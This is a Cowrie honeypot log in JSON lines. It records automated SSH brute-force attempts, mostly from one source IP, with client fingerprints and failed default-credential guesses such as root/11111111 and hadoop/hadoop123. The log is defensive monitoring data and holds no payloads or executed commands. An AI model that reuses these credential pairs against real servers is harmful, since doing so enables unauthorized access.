{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:59.312761Z","src_ip":"192.109.200.78","session":"efffc45efb26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:59.465395Z","src_ip":"192.109.200.78","session":"efffc45efb26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:28:59.881643Z","src_ip":"192.109.200.78","session":"efffc45efb26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:01.264783Z","src_ip":"192.109.200.78","session":"efffc45efb26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55000,"dst_ip":"10.17.0.5","dst_port":22,"session":"b02231f9adea","protocol":"ssh","message":"New connection: 192.109.200.78:55000 (10.17.0.5:22) [session: b02231f9adea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:03.528807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:03.534043Z","src_ip":"192.109.200.78","session":"b02231f9adea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:03.622456Z","src_ip":"192.109.200.78","session":"b02231f9adea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:03.875060Z","src_ip":"192.109.200.78","session":"b02231f9adea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:05.036108Z","src_ip":"192.109.200.78","session":"b02231f9adea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55008,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7c0ca823868","protocol":"ssh","message":"New connection: 192.109.200.78:55008 (10.17.0.5:22) [session: b7c0ca823868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:07.689577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:07.694866Z","src_ip":"192.109.200.78","session":"b7c0ca823868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:07.781192Z","src_ip":"192.109.200.78","session":"b7c0ca823868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:08.034592Z","src_ip":"192.109.200.78","session":"b7c0ca823868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:09.122677Z","src_ip":"192.109.200.78","session":"b7c0ca823868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59466,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a7a1623dd4d","protocol":"ssh","message":"New connection: 192.109.200.78:59466 (10.17.0.5:22) [session: 6a7a1623dd4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:11.745840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:11.751015Z","src_ip":"192.109.200.78","session":"6a7a1623dd4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:11.835200Z","src_ip":"192.109.200.78","session":"6a7a1623dd4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:12.221504Z","src_ip":"192.109.200.78","session":"6a7a1623dd4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:13.311907Z","src_ip":"192.109.200.78","session":"6a7a1623dd4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35326,"dst_ip":"159.203.135.109","dst_port":22,"session":"98c3460a625a","protocol":"ssh","message":"New connection: 159.203.92.129:35326 (159.203.135.109:22) [session: 98c3460a625a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:14.191053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:14.215664Z","src_ip":"159.203.92.129","session":"98c3460a625a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:14.219538Z","src_ip":"159.203.92.129","session":"98c3460a625a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Qaz@2134","message":"login attempt [admin/Qaz@2134] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:14.307895Z","src_ip":"159.203.92.129","session":"98c3460a625a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:15.340265Z","src_ip":"159.203.92.129","session":"98c3460a625a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59470,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7771f7d6d38","protocol":"ssh","message":"New connection: 192.109.200.78:59470 (10.17.0.5:22) [session: b7771f7d6d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:16.012718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:16.018250Z","src_ip":"192.109.200.78","session":"b7771f7d6d38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:16.105614Z","src_ip":"192.109.200.78","session":"b7771f7d6d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:16.365116Z","src_ip":"192.109.200.78","session":"b7771f7d6d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:17.450994Z","src_ip":"192.109.200.78","session":"b7771f7d6d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51598,"dst_ip":"10.17.0.5","dst_port":22,"session":"845341969f05","protocol":"ssh","message":"New connection: 192.109.200.78:51598 (10.17.0.5:22) [session: 845341969f05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:20.154644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:20.164202Z","src_ip":"192.109.200.78","session":"845341969f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":49902,"dst_ip":"159.203.135.109","dst_port":23,"session":"6832703d2a2e","protocol":"telnet","message":"New connection: 5.42.229.203:49902 (159.203.135.109:23) [session: 6832703d2a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:20.223943Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:20.237821Z","src_ip":"192.109.200.78","session":"845341969f05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:20.562567Z","src_ip":"192.109.200.78","session":"845341969f05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:21.647615Z","src_ip":"192.109.200.78","session":"845341969f05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51628,"dst_ip":"10.17.0.5","dst_port":22,"session":"767064119a6e","protocol":"ssh","message":"New connection: 192.109.200.78:51628 (10.17.0.5:22) [session: 767064119a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:24.150039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:24.155339Z","src_ip":"192.109.200.78","session":"767064119a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:24.239857Z","src_ip":"192.109.200.78","session":"767064119a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:24.490283Z","src_ip":"192.109.200.78","session":"767064119a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:25.577406Z","src_ip":"192.109.200.78","session":"767064119a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34922,"dst_ip":"10.17.0.5","dst_port":22,"session":"72cbc7e02a26","protocol":"ssh","message":"New connection: 192.109.200.78:34922 (10.17.0.5:22) [session: 72cbc7e02a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:28.369800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:28.374009Z","src_ip":"192.109.200.78","session":"72cbc7e02a26","protocol":"ssh"}
